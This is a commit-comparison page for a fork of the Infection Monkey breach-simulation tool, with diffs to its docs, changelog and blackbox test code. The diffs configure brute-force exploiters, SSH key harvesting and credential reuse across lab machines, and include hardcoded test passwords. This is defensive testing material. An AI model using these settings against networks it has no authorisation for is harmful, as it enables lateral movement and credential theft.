forked from p15670423/monkey
Compare commits
20 Commits
develop
...
2260-fix-m
Author | SHA1 | Date |
---|---|---|
Kekoa Kaaikala | 9d37a38994 | |
Kekoa Kaaikala | e40d061091 | |
Kekoa Kaaikala | d4f6c83f56 | |
Kekoa Kaaikala | d440d51f53 | |
Kekoa Kaaikala | 218b341006 | |
Kekoa Kaaikala | 24848e62df | |
Kekoa Kaaikala | a9e101fd04 | |
Kekoa Kaaikala | 1a6f48614e | |
Kekoa Kaaikala | a5b5449f73 | |
Kekoa Kaaikala | 7013963d59 | |
Kekoa Kaaikala | ed5773878e | |
Kekoa Kaaikala | c870fde3cc | |
Kekoa Kaaikala | e595a70019 | |
Kekoa Kaaikala | e8aa231f92 | |
Kekoa Kaaikala | c0b2981150 | |
Kekoa Kaaikala | 7801a98a15 | |
Kekoa Kaaikala | 6209ec47cd | |
Kekoa Kaaikala | 795d9fe201 | |
Kekoa Kaaikala | ea67c07d70 | |
Kekoa Kaaikala | 70c74b87a9 |
10
CHANGELOG.md
10
CHANGELOG.md
|
@ -23,10 +23,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
|
|||
- `/api/agent-events` endpoint. #2155, #2300
|
||||
- The ability to customize the file extension used by ransomware when
|
||||
encrypting files. #1242
|
||||
- `/api/agents` endpoint. #2362
|
||||
- `/api/agent-signals` endpoint. #2261
|
||||
- `/api/agent-logs/<uuid:agent_id>` endpoint. #2274
|
||||
- `/api/machines` endpoint. #2362
|
||||
- `/api/agents` endpoint.
|
||||
|
||||
### Changed
|
||||
- Reset workflow. Now it's possible to delete data gathered by agents without
|
||||
|
@ -67,8 +64,6 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
|
|||
- Tunneling to relays to provide better firewall evasion, faster Island
|
||||
connection times, unlimited hops, and a more resilient way for agents to call
|
||||
home. #2216, #1583
|
||||
- "/api/monkey-control/stop-all-agents" to "/api/agent-signals/terminate-all-agents". #2261
|
||||
- "Local network scan" option to "Scan Agent's networks". #2299
|
||||
|
||||
### Removed
|
||||
- VSFTPD exploiter. #1533
|
||||
|
@ -114,9 +109,6 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
|
|||
- "/api/configuration/export" endpoint. #2002
|
||||
- "/api/island-configuration" endpoint. #2003
|
||||
- "-t/--tunnel" from agent command line arguments. #2216
|
||||
- "/api/monkey-control/neets-to-stop". #2261
|
||||
- "GET /api/test/monkey" endpoint. #2269
|
||||
- "GET /api/test/log" endpoint. #2269
|
||||
|
||||
### Fixed
|
||||
- A bug in network map page that caused delay of telemetry log loading. #1545
|
||||
|
|
|
@ -29,7 +29,7 @@ Monkey on our [website](https://www.akamai.com/infectionmonkey).
|
|||
For more information, or to apply, see the official job post:
|
||||
- [Israel](https://akamaicareers.inflightcloud.com/jobdetails/aka_ext/028224?section=aka_ext&job=028224)
|
||||
|
||||
test1111
|
||||
|
||||
|
||||
## Screenshots
|
||||
|
||||
|
|
|
@ -1,13 +0,0 @@
|
|||
import json
|
||||
data = {
|
||||
'name' : 'myname',
|
||||
'age' : 100,
|
||||
}
|
||||
# separators:是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了.
|
||||
# dumps 将python对象字典转换为json字符串
|
||||
json_str = json.dumps(data, separators=(',', ':'))
|
||||
print(type(json_str), json_str)
|
||||
|
||||
# loads 将json字符串转化为python对象字典
|
||||
pyton_obj = json.loads(json_str)
|
||||
print(type(pyton_obj), pyton_obj)
|
|
@ -8,7 +8,5 @@ description: "Configure settings related to the Monkey's network activity."
|
|||
Here you can control multiple important settings, such as:
|
||||
|
||||
* Network propagation depth - How many hops from the base machine will the Infection Monkey spread?
|
||||
* Scan Agent's networks - Should the Infection Monkey attempt to attack any machine in its subnet?
|
||||
|
||||
_Be careful when using this option. If a machine is connected to a public network, then the agent will scan the public network!_
|
||||
* Local network scan - Should the Infection Monkey attempt to attack any machine in its subnet?
|
||||
* Scanner IP/subnet list - Which specific IP ranges should the Infection Monkey should try to attack?
|
||||
|
|
|
@ -16,9 +16,9 @@ where bad actors can reuse these credentials in your network.
|
|||
|
||||
## Configuration
|
||||
|
||||
- **Propagation -> Credentials** After setting up the Monkey Island, add your users' **real** credentials
|
||||
- **Exploits -> Credentials** After setting up the Monkey Island, add your users' **real** credentials
|
||||
(usernames and passwords) here. Don't worry; this sensitive data is not accessible, distributed or used in any way other than being sent to the Infection Monkey agents. You can easily eliminate it by resetting the configuration of your Monkey Island.
|
||||
- **Propagation -> Credentials -> SSH key pairs list** When enabled, the Infection Monkey automatically gathers SSH keys on the current system.
|
||||
- **Internal -> Exploits -> SSH keypair list** When enabled, the Infection Monkey automatically gathers SSH keys on the current system.
|
||||
For this to work, the Monkey Island or initial agent needs to access SSH key files.
|
||||
To make sure SSH keys were gathered successfully, refresh the page and check this configuration value after you run the Infection Monkey
|
||||
(content of keys will not be displayed, it will appear as `<Object>`).
|
||||
|
|
|
@ -15,14 +15,17 @@ Infection Monkey will help you assess the impact of a future breach by attemptin
|
|||
|
||||
## Configuration
|
||||
|
||||
- **Propagation -> Exploiters** Here you can review the exploits the Infection Monkey will be using. By default all
|
||||
- **Exploits -> Exploits** Here you can review the exploits the Infection Monkey will be using. By default all
|
||||
safe exploiters are selected.
|
||||
- **Propagation -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times.
|
||||
- **Propagation -> Network analysis -> Network** Make sure to properly configure the scope of the scan. You can select **Scan Agent's networks**
|
||||
- **Exploits -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times.
|
||||
- **Network -> Scope** Make sure to properly configure the scope of the scan. You can select **Local network scan**
|
||||
and allow Monkey to propagate until maximum **Scan depth**(hop count) is reached, or you can fine tune it by providing
|
||||
specific network ranges in **Scan target list**. Scanning a local network is more realistic, but providing specific
|
||||
targets will make the scanning process substantially faster.
|
||||
- **(Optional) Propagation -> Network Analysis -> TCP scanner** Here you can add custom ports your organization is using.
|
||||
- **(Optional) Internal -> Network -> TCP scanner** Here you can add custom ports your organization is using.
|
||||
- **(Optional) Monkey -> Post-Breach Actions** If you only want to test propagation in the network, you can turn off
|
||||
all post-breach actions. These actions simulate an attacker's behavior after getting access to a new system but in no
|
||||
way helps the Infection Monkey exploit new machines.
|
||||
|
||||
![Exploiter selector](/images/usage/use-cases/network-breach.PNG "Exploiter selector")
|
||||
|
||||
|
|
|
@ -17,10 +17,11 @@ You can use the Infection Monkey's cross-segment traffic feature to verify that
|
|||
|
||||
## Configuration
|
||||
|
||||
- **Propagation -> Network analysis -> Network segmentation testing** This configuration setting allows you to define
|
||||
- **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define
|
||||
subnets that should be segregated from each other. If any of the provided networks can reach each other, you'll see it
|
||||
in the security report.
|
||||
- **(Optional) Propagation -> Network analysis -> Network** You can disable **Scan Agent's networks** and leave all other options at the default setting if you only want to test for network segmentation without any lateral movement.
|
||||
- **(Optional) Network -> Scope** You can disable **Local network scan** and leave all other options at the default setting if you only want to test for network segmentation without any lateral movement.
|
||||
- **(Optional) Monkey -> Post-Breach Actions** If you only want to test segmentation in the network, you can turn off all post-breach actions. These actions simulate an attacker's behavior after getting access to a new system, so they might trigger your defense solutions and interrupt the segmentation test.
|
||||
|
||||
## Suggested run mode
|
||||
|
||||
|
|
|
@ -9,26 +9,37 @@ weight: 100
|
|||
## Overview
|
||||
This page provides additional information about configuring the Infection Monkey, tips and tricks and creative usage scenarios.
|
||||
|
||||
## Custom behavior
|
||||
|
||||
If you want the Infection Monkey to run a specific script or tool after it breaches a machine, you can configure it in
|
||||
**Configuration -> Monkey -> Post-breach**. Input commands you want to execute in the corresponding fields.
|
||||
You can also upload files and call them through the commands you entered.
|
||||
|
||||
## Accelerate the test
|
||||
|
||||
To improve scanning speed you could **specify a subnet instead of scanning all of the local network**.
|
||||
|
||||
The following configuration values also have an impact on scanning speed:
|
||||
- **Propagation -> Credentials** - The more usernames and passwords you input, the longer it will take the Infection Monkey to scan machines that have
|
||||
- **Credentials** - The more usernames and passwords you input, the longer it will take the Infection Monkey to scan machines that have
|
||||
remote access services. The Infection Monkey agents try to stay elusive and leave a low impact, and thus brute-forcing takes longer than with loud conventional tools.
|
||||
- **Propagation -> Network analysis -> Network** - Scanning large networks with a lot of propagations can become unwieldy. Instead, try to scan your
|
||||
- **Network scope** - Scanning large networks with a lot of propagations can become unwieldy. Instead, try to scan your
|
||||
networks bit by bit with multiple runs.
|
||||
- **Propagation -> Network analysis -> TCP scanner** - Here you can trim down the list of ports the Infection Monkey tries to scan, improving performance.
|
||||
- **Post-breach actions** - If you only care about propagation, you can disable most of these.
|
||||
- **Internal -> TCP scanner** - Here you can trim down the list of ports the Infection Monkey tries to scan, improving performance.
|
||||
|
||||
## Combining different scenarios
|
||||
|
||||
The Infection Monkey is not limited to the scenarios mentioned in this section. Once you get the hang of configuring it, you might come up with your own use case or test all of the suggested scenarios at the same time! Whatever you do, the Infection Monkey's Security, ATT&CK and Zero Trust reports will be waiting for you with your results!
|
||||
|
||||
## Persistent scanning
|
||||
|
||||
Use **Monkey -> Persistent** scanning configuration section to either run periodic scans or increase the reliability of exploitations by running consecutive scans with the Infection Monkey.
|
||||
|
||||
## Credentials
|
||||
|
||||
Every network has its old "skeleton keys" that it should have long discarded. Configuring the Infection Monkey with old and stale passwords will enable you to ensure they were really discarded.
|
||||
|
||||
To add the old passwords, go to the Monkey Island's **Exploit password list** under **Propagation -> Credentials** and use the "+" button to add the old passwords to the configuration. For example, here we added a few extra passwords (and a username as well) to the configuration:
|
||||
To add the old passwords, go to the Monkey Island's **Exploit password list** under **Basic - Credentials** and use the "+" button to add the old passwords to the configuration. For example, here we added a few extra passwords (and a username as well) to the configuration:
|
||||
|
||||
![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists")
|
||||
|
||||
|
|
|
@ -13,9 +13,9 @@ Want to assess your progress in achieving a Zero Trust network? The Infection Mo
|
|||
|
||||
## Configuration
|
||||
|
||||
- **Propagation -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times.
|
||||
- **Propagation -> Network analysis -> Network** Disable “Scan Agent's networks” and instead provide specific network ranges in the “Scan target list.”
|
||||
- **Propagation -> Network analysis -> Network segmentation testing** This configuration setting allows you to define
|
||||
- **Exploits -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times.
|
||||
- **Network -> Scope** Disable “Local network scan” and instead provide specific network ranges in the “Scan target list.”
|
||||
- **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define
|
||||
subnets that should be segregated from each other.
|
||||
|
||||
In general, other configuration value defaults should be good enough, but feel free to see the “Other” section for tips and tricks about more features and in-depth configuration parameters you can use.
|
||||
|
|
|
@ -1,5 +1,4 @@
|
|||
from ipaddress import IPv4Address
|
||||
from typing import Collection, Iterable
|
||||
from typing import Iterable
|
||||
|
||||
from envs.monkey_zoo.blackbox.analyzers.analyzer import Analyzer
|
||||
from envs.monkey_zoo.blackbox.analyzers.analyzer_log import AnalyzerLog
|
||||
|
@ -14,22 +13,15 @@ class CommunicationAnalyzer(Analyzer):
|
|||
|
||||
def analyze_test_results(self):
|
||||
self.log.clear()
|
||||
all_agents_communicated = True
|
||||
agent_ips = self._get_agent_ips()
|
||||
|
||||
all_monkeys_communicated = True
|
||||
for machine_ip in self.machine_ips:
|
||||
if self._agent_communicated_back(machine_ip, agent_ips):
|
||||
self.log.add_entry("Agent from {} communicated back".format(machine_ip))
|
||||
if not self.did_monkey_communicate_back(machine_ip):
|
||||
self.log.add_entry("Monkey from {} didn't communicate back".format(machine_ip))
|
||||
all_monkeys_communicated = False
|
||||
else:
|
||||
self.log.add_entry("Agent from {} didn't communicate back".format(machine_ip))
|
||||
all_agents_communicated = False
|
||||
self.log.add_entry("Monkey from {} communicated back".format(machine_ip))
|
||||
return all_monkeys_communicated
|
||||
|
||||
return all_agents_communicated
|
||||
|
||||
def _get_agent_ips(self) -> Collection[IPv4Address]:
|
||||
agents = self.island_client.get_agents()
|
||||
machines = self.island_client.get_machines()
|
||||
return {i.ip for a in agents for i in machines[a.machine_id].network_interfaces}
|
||||
|
||||
def _agent_communicated_back(self, machine_ip: str, agent_ips: Collection[IPv4Address]) -> bool:
|
||||
return IPv4Address(machine_ip) in agent_ips
|
||||
def did_monkey_communicate_back(self, machine_ip: str):
|
||||
query = {"ip_addresses": {"$elemMatch": {"$eq": machine_ip}}}
|
||||
return len(self.island_client.find_monkeys_in_db(query)) > 0
|
||||
|
|
|
@ -18,6 +18,12 @@ def pytest_addoption(parser):
|
|||
default=False,
|
||||
help="Use for no interaction with the cloud.",
|
||||
)
|
||||
parser.addoption(
|
||||
"--skip-powershell-reuse",
|
||||
action="store_true",
|
||||
default=False,
|
||||
help="Use to run PowerShell credentials reuse test.",
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture(scope="session")
|
||||
|
@ -42,3 +48,13 @@ def gcp_machines_to_start(request: pytest.FixtureRequest) -> Mapping[str, Collec
|
|||
machines_to_start.setdefault(zone, set()).update(machines)
|
||||
|
||||
return machines_to_start
|
||||
|
||||
|
||||
def pytest_runtest_setup(item):
|
||||
if "skip_powershell_reuse" in item.keywords and item.config.getoption(
|
||||
"--skip-powershell-reuse"
|
||||
):
|
||||
pytest.skip(
|
||||
"Skipping powershell credentials reuse test because "
|
||||
"--skip-powershell-cached flag isn't specified."
|
||||
)
|
||||
|
|
|
@ -15,14 +15,10 @@ GCP_TEST_MACHINE_LIST = {
|
|||
"zerologon-25",
|
||||
],
|
||||
"europe-west1-b": [
|
||||
"powershell-3-44",
|
||||
"powershell-3-45",
|
||||
"powershell-3-46",
|
||||
"powershell-3-47",
|
||||
"powershell-3-48",
|
||||
"credentials-reuse-14",
|
||||
"credentials-reuse-15",
|
||||
"credentials-reuse-16",
|
||||
"log4j-logstash-55",
|
||||
"log4j-logstash-56",
|
||||
"log4j-solr-49",
|
||||
|
@ -36,11 +32,7 @@ DEPTH_2_A = {
|
|||
"europe-west3-a": [
|
||||
"sshkeys-11",
|
||||
"sshkeys-12",
|
||||
],
|
||||
"europe-west1-b": [
|
||||
"powershell-3-46",
|
||||
"powershell-3-44",
|
||||
],
|
||||
]
|
||||
}
|
||||
|
||||
|
||||
|
@ -65,6 +57,7 @@ DEPTH_3_A = {
|
|||
],
|
||||
"europe-west1-b": [
|
||||
"powershell-3-45",
|
||||
"powershell-3-46",
|
||||
"powershell-3-47",
|
||||
"powershell-3-48",
|
||||
],
|
||||
|
@ -79,20 +72,19 @@ DEPTH_4_A = {
|
|||
],
|
||||
}
|
||||
|
||||
|
||||
POWERSHELL_EXPLOITER_REUSE = {
|
||||
"europe-west1-b": [
|
||||
"powershell-3-46",
|
||||
]
|
||||
}
|
||||
|
||||
ZEROLOGON = {
|
||||
"europe-west3-a": [
|
||||
"zerologon-25",
|
||||
],
|
||||
}
|
||||
|
||||
CREDENTIALS_REUSE_SSH_KEY = {
|
||||
"europe-west1-b": [
|
||||
"credentials-reuse-14",
|
||||
"credentials-reuse-15",
|
||||
"credentials-reuse-16",
|
||||
],
|
||||
}
|
||||
|
||||
WMI_AND_MIMIKATZ = {
|
||||
"europe-west3-a": [
|
||||
"mimikatz-14",
|
||||
|
@ -107,8 +99,8 @@ GCP_SINGLE_TEST_LIST = {
|
|||
"test_depth_1_a": DEPTH_1_A,
|
||||
"test_depth_3_a": DEPTH_3_A,
|
||||
"test_depth_4_a": DEPTH_4_A,
|
||||
"test_powershell_exploiter_credentials_reuse": POWERSHELL_EXPLOITER_REUSE,
|
||||
"test_zerologon_exploiter": ZEROLOGON,
|
||||
"test_credentials_reuse_ssh_key": CREDENTIALS_REUSE_SSH_KEY,
|
||||
"test_wmi_and_mimikatz_exploiters": WMI_AND_MIMIKATZ,
|
||||
"test_smb_pth": SMB_PTH,
|
||||
}
|
||||
|
|
|
@ -1,21 +1,18 @@
|
|||
import json
|
||||
import logging
|
||||
import time
|
||||
from typing import List, Mapping, Sequence, Union
|
||||
from typing import List, Sequence, Union
|
||||
|
||||
from bson import json_util
|
||||
|
||||
from common.credentials import Credentials
|
||||
from common.types import AgentID, MachineID
|
||||
from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import MonkeyIslandRequests
|
||||
from envs.monkey_zoo.blackbox.test_configurations.test_configuration import TestConfiguration
|
||||
from monkey_island.cc.models import Agent, Machine
|
||||
|
||||
SLEEP_BETWEEN_REQUESTS_SECONDS = 0.5
|
||||
GET_AGENTS_ENDPOINT = "api/agents"
|
||||
GET_LOG_ENDPOINT = "api/agent-logs"
|
||||
GET_MACHINES_ENDPOINT = "api/machines"
|
||||
MONKEY_TEST_ENDPOINT = "api/test/monkey"
|
||||
TELEMETRY_TEST_ENDPOINT = "api/test/telemetry"
|
||||
LOG_TEST_ENDPOINT = "api/test/log"
|
||||
LOGGER = logging.getLogger(__name__)
|
||||
|
||||
|
||||
|
@ -91,9 +88,8 @@ class MonkeyIslandClient(object):
|
|||
|
||||
@avoid_race_condition
|
||||
def kill_all_monkeys(self):
|
||||
# TODO change this request, because monkey-control resource got removed
|
||||
response = self.requests.post_json(
|
||||
"api/agent-signals/terminate-all-agents", json={"terminate_time": time.time()}
|
||||
"api/monkey-control/stop-all-agents", json={"kill_time": time.time()}
|
||||
)
|
||||
if response.ok:
|
||||
LOGGER.info("Killing all monkeys after the test.")
|
||||
|
@ -138,6 +134,14 @@ class MonkeyIslandClient(object):
|
|||
LOGGER.error("Failed to reset island mode")
|
||||
assert False
|
||||
|
||||
def find_monkeys_in_db(self, query):
|
||||
if query is None:
|
||||
raise TypeError
|
||||
response = self.requests.get(
|
||||
MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(query)
|
||||
)
|
||||
return MonkeyIslandClient.get_test_query_results(response)
|
||||
|
||||
def find_telems_in_db(self, query: dict):
|
||||
if query is None:
|
||||
raise TypeError
|
||||
|
@ -146,21 +150,17 @@ class MonkeyIslandClient(object):
|
|||
)
|
||||
return MonkeyIslandClient.get_test_query_results(response)
|
||||
|
||||
def get_agents(self) -> Sequence[Agent]:
|
||||
response = self.requests.get(GET_AGENTS_ENDPOINT)
|
||||
def get_all_monkeys_from_db(self):
|
||||
response = self.requests.get(
|
||||
MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(None)
|
||||
)
|
||||
return MonkeyIslandClient.get_test_query_results(response)
|
||||
|
||||
return [Agent(**a) for a in response.json()]
|
||||
|
||||
def get_machines(self) -> Mapping[MachineID, Machine]:
|
||||
response = self.requests.get(GET_MACHINES_ENDPOINT)
|
||||
machines = (Machine(**m) for m in response.json())
|
||||
|
||||
return {m.id: m for m in machines}
|
||||
|
||||
def get_agent_log(self, agent_id: AgentID) -> str:
|
||||
response = self.requests.get(f"{GET_LOG_ENDPOINT}/{agent_id}")
|
||||
|
||||
return response.json()
|
||||
def find_log_in_db(self, query):
|
||||
response = self.requests.get(
|
||||
LOG_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(query)
|
||||
)
|
||||
return MonkeyIslandClient.get_test_query_results(response)
|
||||
|
||||
@staticmethod
|
||||
def form_find_query_for_request(query: Union[dict, None]) -> dict:
|
||||
|
@ -171,5 +171,5 @@ class MonkeyIslandClient(object):
|
|||
return json.loads(response.content)["results"]
|
||||
|
||||
def is_all_monkeys_dead(self):
|
||||
agents = self.get_agents()
|
||||
return all((a.stop_time is not None for a in agents))
|
||||
query = {"dead": False}
|
||||
return len(self.find_monkeys_in_db(query)) == 0
|
||||
|
|
|
@ -0,0 +1,38 @@
|
|||
import logging
|
||||
import os
|
||||
|
||||
from bson import ObjectId
|
||||
|
||||
LOGGER = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class MonkeyLog(object):
|
||||
def __init__(self, monkey, log_dir_path):
|
||||
self.monkey = monkey
|
||||
self.log_dir_path = log_dir_path
|
||||
|
||||
def download_log(self, island_client):
|
||||
log = island_client.find_log_in_db({"monkey_id": ObjectId(self.monkey["_id"])})
|
||||
if not log:
|
||||
LOGGER.error("Log for monkey {} not found".format(self.monkey["ip_addresses"][0]))
|
||||
return False
|
||||
else:
|
||||
self.write_log_to_file(log)
|
||||
return True
|
||||
|
||||
def write_log_to_file(self, log):
|
||||
with open(self.get_log_path_for_monkey(self.monkey), "w") as log_file:
|
||||
log_file.write(MonkeyLog.parse_log(log))
|
||||
|
||||
@staticmethod
|
||||
def parse_log(log):
|
||||
log = log.strip('"')
|
||||
log = log.replace("\\n", "\n ")
|
||||
return log
|
||||
|
||||
@staticmethod
|
||||
def get_filename_for_monkey_log(monkey):
|
||||
return "{}.txt".format(monkey["ip_addresses"][0])
|
||||
|
||||
def get_log_path_for_monkey(self, monkey):
|
||||
return os.path.join(self.log_dir_path, MonkeyLog.get_filename_for_monkey_log(monkey))
|
|
@ -1,65 +1,25 @@
|
|||
import logging
|
||||
from pathlib import Path
|
||||
from threading import Thread
|
||||
from typing import List, Mapping
|
||||
|
||||
from common.types import MachineID
|
||||
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
|
||||
from monkey_island.cc.models import Agent, Machine
|
||||
from envs.monkey_zoo.blackbox.log_handlers.monkey_log import MonkeyLog
|
||||
|
||||
LOGGER = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class MonkeyLogsDownloader(object):
|
||||
def __init__(self, island_client: MonkeyIslandClient, log_dir_path: str):
|
||||
def __init__(self, island_client, log_dir_path):
|
||||
self.island_client = island_client
|
||||
self.log_dir_path = Path(log_dir_path)
|
||||
self.monkey_log_paths: List[Path] = []
|
||||
self.log_dir_path = log_dir_path
|
||||
self.monkey_log_paths = []
|
||||
|
||||
def download_monkey_logs(self):
|
||||
try:
|
||||
LOGGER.info("Downloading each monkey log.")
|
||||
LOGGER.info("Downloading each monkey log.")
|
||||
all_monkeys = self.island_client.get_all_monkeys_from_db()
|
||||
for monkey in all_monkeys:
|
||||
downloaded_log_path = self._download_monkey_log(monkey)
|
||||
if downloaded_log_path:
|
||||
self.monkey_log_paths.append(downloaded_log_path)
|
||||
|
||||
agents = self.island_client.get_agents()
|
||||
machines = self.island_client.get_machines()
|
||||
|
||||
download_threads: List[Thread] = []
|
||||
|
||||
# TODO: Does downloading logs concurrently still improve performance after resolving
|
||||
# https://github.com/guardicore/monkey/issues/2383?
|
||||
for agent in agents:
|
||||
t = Thread(target=self._download_log, args=(agent, machines), daemon=True)
|
||||
t.start()
|
||||
download_threads.append(t)
|
||||
|
||||
for thread in download_threads:
|
||||
thread.join()
|
||||
|
||||
except Exception as err:
|
||||
LOGGER.exception(err)
|
||||
|
||||
def _download_log(self, agent: Agent, machines: Mapping[MachineID, Machine]):
|
||||
log_file_path = self._get_log_file_path(agent, machines)
|
||||
log_contents = self.island_client.get_agent_log(agent.id)
|
||||
|
||||
MonkeyLogsDownloader._write_log_to_file(log_file_path, log_contents)
|
||||
|
||||
self.monkey_log_paths.append(log_file_path)
|
||||
|
||||
def _get_log_file_path(self, agent: Agent, machines: Mapping[MachineID, Machine]) -> Path:
|
||||
try:
|
||||
machine_ip = machines[agent.machine_id].network_interfaces[0].ip
|
||||
except IndexError:
|
||||
LOGGER.error(f"Machine with ID {agent.machine_id} has no network interfaces")
|
||||
machine_ip = "UNKNOWN"
|
||||
|
||||
start_time = agent.start_time.strftime("%Y-%m-%d_%H-%M-%S")
|
||||
|
||||
return self.log_dir_path / f"agent_{start_time}_{machine_ip}.log"
|
||||
|
||||
@staticmethod
|
||||
def _write_log_to_file(log_file_path: Path, log_contents: str):
|
||||
LOGGER.debug(f"Writing {len(log_contents)} bytes to {log_file_path}")
|
||||
|
||||
with open(log_file_path, "w") as f:
|
||||
f.write(log_contents)
|
||||
def _download_monkey_log(self, monkey):
|
||||
log_handler = MonkeyLog(monkey, self.log_dir_path)
|
||||
download_successful = log_handler.download_log(self.island_client)
|
||||
return log_handler.get_log_path_for_monkey(monkey) if download_successful else None
|
||||
|
|
|
@ -10,11 +10,11 @@ from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIs
|
|||
from envs.monkey_zoo.blackbox.island_client.test_configuration_parser import get_target_ips
|
||||
from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler
|
||||
from envs.monkey_zoo.blackbox.test_configurations import (
|
||||
credentials_reuse_ssh_key_test_configuration,
|
||||
depth_1_a_test_configuration,
|
||||
depth_2_a_test_configuration,
|
||||
depth_3_a_test_configuration,
|
||||
depth_4_a_test_configuration,
|
||||
powershell_credentials_reuse_test_configuration,
|
||||
smb_pth_test_configuration,
|
||||
wmi_mimikatz_test_configuration,
|
||||
zerologon_test_configuration,
|
||||
|
@ -129,6 +129,15 @@ class TestMonkeyBlackbox:
|
|||
island_client, depth_4_a_test_configuration, "Depth4A test suite"
|
||||
)
|
||||
|
||||
# Not grouped because can only be ran on windows
|
||||
@pytest.mark.skip_powershell_reuse
|
||||
def test_powershell_exploiter_credentials_reuse(self, island_client):
|
||||
TestMonkeyBlackbox.run_exploitation_test(
|
||||
island_client,
|
||||
powershell_credentials_reuse_test_configuration,
|
||||
"PowerShell_Remoting_exploiter_credentials_reuse",
|
||||
)
|
||||
|
||||
# Not grouped because it's slow
|
||||
def test_zerologon_exploiter(self, island_client):
|
||||
test_name = "Zerologon_exploiter"
|
||||
|
@ -154,11 +163,6 @@ class TestMonkeyBlackbox:
|
|||
log_handler=log_handler,
|
||||
).run()
|
||||
|
||||
def test_credentials_reuse_ssh_key(self, island_client):
|
||||
TestMonkeyBlackbox.run_exploitation_test(
|
||||
island_client, credentials_reuse_ssh_key_test_configuration, "Credentials_Reuse_SSH_Key"
|
||||
)
|
||||
|
||||
# Not grouped because conflicts with SMB.
|
||||
# Consider grouping when more depth 1 exploiters collide with group depth_1_a
|
||||
def test_wmi_and_mimikatz_exploiters(self, island_client):
|
||||
|
|
|
@ -3,7 +3,7 @@ from .depth_1_a import depth_1_a_test_configuration
|
|||
from .depth_2_a import depth_2_a_test_configuration
|
||||
from .depth_3_a import depth_3_a_test_configuration
|
||||
from .depth_4_a import depth_4_a_test_configuration
|
||||
from .powershell_credentials_reuse import powershell_credentials_reuse_test_configuration
|
||||
from .smb_pth import smb_pth_test_configuration
|
||||
from .wmi_mimikatz import wmi_mimikatz_test_configuration
|
||||
from .zerologon import zerologon_test_configuration
|
||||
from .credentials_reuse_ssh_key import credentials_reuse_ssh_key_test_configuration
|
||||
|
|
|
@ -1,71 +0,0 @@
|
|||
import dataclasses
|
||||
|
||||
from common.agent_configuration import AgentConfiguration, PluginConfiguration
|
||||
from common.credentials import Credentials, Password, Username
|
||||
|
||||
from .noop import noop_test_configuration
|
||||
from .utils import (
|
||||
add_credential_collectors,
|
||||
add_exploiters,
|
||||
add_subnets,
|
||||
add_tcp_ports,
|
||||
replace_agent_configuration,
|
||||
replace_propagation_credentials,
|
||||
set_keep_tunnel_open_time,
|
||||
set_maximum_depth,
|
||||
)
|
||||
|
||||
|
||||
# Tests:
|
||||
# SSHCollector steals key from machine A(10.2.3.14),
|
||||
# then B(10.2.4.15) exploits C(10.2.5.16) with that key
|
||||
def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
||||
brute_force = [
|
||||
PluginConfiguration(name="SSHExploiter", options={}),
|
||||
]
|
||||
|
||||
return add_exploiters(agent_configuration, brute_force=brute_force, vulnerability=[])
|
||||
|
||||
|
||||
def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
||||
subnets = ["10.2.3.14", "10.2.4.15", "10.2.5.16"]
|
||||
return add_subnets(agent_configuration, subnets)
|
||||
|
||||
|
||||
def _add_credential_collectors(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
||||
credential_collectors = [
|
||||
PluginConfiguration(name="SSHCollector", options={}),
|
||||
]
|
||||
|
||||
return add_credential_collectors(
|
||||
agent_configuration, credential_collectors=credential_collectors
|
||||
)
|
||||
|
||||
|
||||
def _add_tcp_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
||||
ports = [22]
|
||||
return add_tcp_ports(agent_configuration, ports)
|
||||
|
||||
|
||||
test_agent_configuration = set_maximum_depth(noop_test_configuration.agent_configuration, 3)
|
||||
test_agent_configuration = set_keep_tunnel_open_time(test_agent_configuration, 20)
|
||||
test_agent_configuration = _add_exploiters(test_agent_configuration)
|
||||
test_agent_configuration = _add_subnets(test_agent_configuration)
|
||||
test_agent_configuration = _add_credential_collectors(test_agent_configuration)
|
||||
test_agent_configuration = _add_tcp_ports(test_agent_configuration)
|
||||
|
||||
CREDENTIALS = (
|
||||
Credentials(identity=Username(username="m0nk3y"), secret=None),
|
||||
Credentials(identity=None, secret=Password(password="u26gbVQe")),
|
||||
Credentials(identity=None, secret=Password(password="5BuYHeVl")),
|
||||
)
|
||||
|
||||
credentials_reuse_ssh_key_test_configuration = dataclasses.replace(noop_test_configuration)
|
||||
replace_agent_configuration(
|
||||
test_configuration=credentials_reuse_ssh_key_test_configuration,
|
||||
agent_configuration=test_agent_configuration,
|
||||
)
|
||||
replace_propagation_credentials(
|
||||
test_configuration=credentials_reuse_ssh_key_test_configuration,
|
||||
propagation_credentials=CREDENTIALS,
|
||||
)
|
|
@ -6,8 +6,6 @@ from common.credentials import Credentials, Password, Username
|
|||
